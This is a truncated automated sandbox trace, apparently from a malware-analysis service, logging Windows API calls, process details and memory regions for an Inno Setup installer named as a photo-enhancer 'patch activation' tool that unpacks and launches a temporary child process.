[0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.198] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.199] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.199] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.199] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.199] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.199] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.199] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.214] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.215] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0xd5a, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0xd5a, lpOverlapped=0x0) returned 1 [0248.226] VirtualFree (lpAddress=0x1f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0248.257] VirtualFree (lpAddress=0x1ed0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0248.267] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fee0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fee0*=0) returned 0x90e34 [0248.267] SetFilePointer (in: hFile=0xa8, lDistanceToMove=593460, lpDistanceToMoveHigh=0x18fec8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fec8*=0) returned 0x90e34 [0248.270] SetFilePointer (in: hFile=0xb0, lDistanceToMove=772608, lpDistanceToMoveHigh=0x18fee4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fee4*=0) returned 0xbca00 [0248.270] SetEndOfFile (hFile=0xb0) returned 1 [0248.271] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fee4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fee4*=0) returned 0x0 [0248.271] WriteFile (in: hFile=0xb0, lpBuffer=0x1e10004*, nNumberOfBytesToWrite=0xbca00, lpNumberOfBytesWritten=0x18fef0, lpOverlapped=0x0 | out: lpBuffer=0x1e10004*, lpNumberOfBytesWritten=0x18fef0*=0xbca00, lpOverlapped=0x0) returned 1 [0248.376] VirtualFree (lpAddress=0x1e10000, dwSize=0xc0000, dwFreeType=0x4000) returned 1 [0248.380] VirtualFree (lpAddress=0x1e10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0248.382] CloseHandle (hObject=0xb0) returned 1 [0249.016] CloseHandle (hObject=0xa8) returned 1 [0249.017] CreateWindowExA (dwExStyle=0x0, lpClassName="STATIC", lpWindowName="InnoSetupLdrWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60182 [0250.417] SetWindowLongA (hWnd=0x60182, nIndex=-4, dwNewLong=4234808) returned -65435 [0250.418] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0250.419] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fecc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18febc | out: lpCommandLine="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" ", lpProcessInformation=0x18febc*(hProcess=0xc8, hThread=0xc4, dwProcessId=0x8d0, dwThreadId=0x8cc)) returned 1 [0250.486] CloseHandle (hObject=0xc4) returned 1 [0250.487] PeekMessageA (in: lpMsg=0x18fe80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe80) returned 0 [0250.487] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x18febc*=0xc8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x1 [0253.475] PeekMessageA (in: lpMsg=0x18fe80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe80) returned 0 [0253.475] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x18febc*=0xc8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) Process: id = "4" image_name = "a1photo-&-art-enhancer_search&patch_activation.tmp" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp\\a1photo-&-art-enhancer_search&patch_activation.tmp" page_root = "0x306b2000" os_pid = "0x8d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xaa4" cmd_line = "\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp\" /SL5=\"$60182,111616,111616,C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 893 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 894 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 895 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 896 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 897 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 898 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 899 start_va = 0x1a0000 end_va = 0x1a2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 900 start_va = 0x400000 end_va = 0x4cbfff monitored = 1 entry_point = 0x49ba2c region_type = mapped_file name = "a1photo-&-art-enhancer_search&patch_activation.tmp" filename = "\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp\\a1photo-&-art-enhancer_search&patch_activation.tmp") Region: id = 901 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 902 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 903 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 904 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 905 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 906 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 907 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 908 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 909 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 910 start_va = 0x1b0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 911 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 912 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 913 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 914 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 915 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 916 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 917 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 918 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 919 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 920 start_va = 0x4d0000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 921 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 922 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 923 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 924 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 925 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 926 start_va = 0x1b0000 end_va = 0x216fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 927 start_va = 0x250000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 928 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 929 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 930 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 931 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 932 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 933 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 934 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 935 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 936 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 937 start_va = 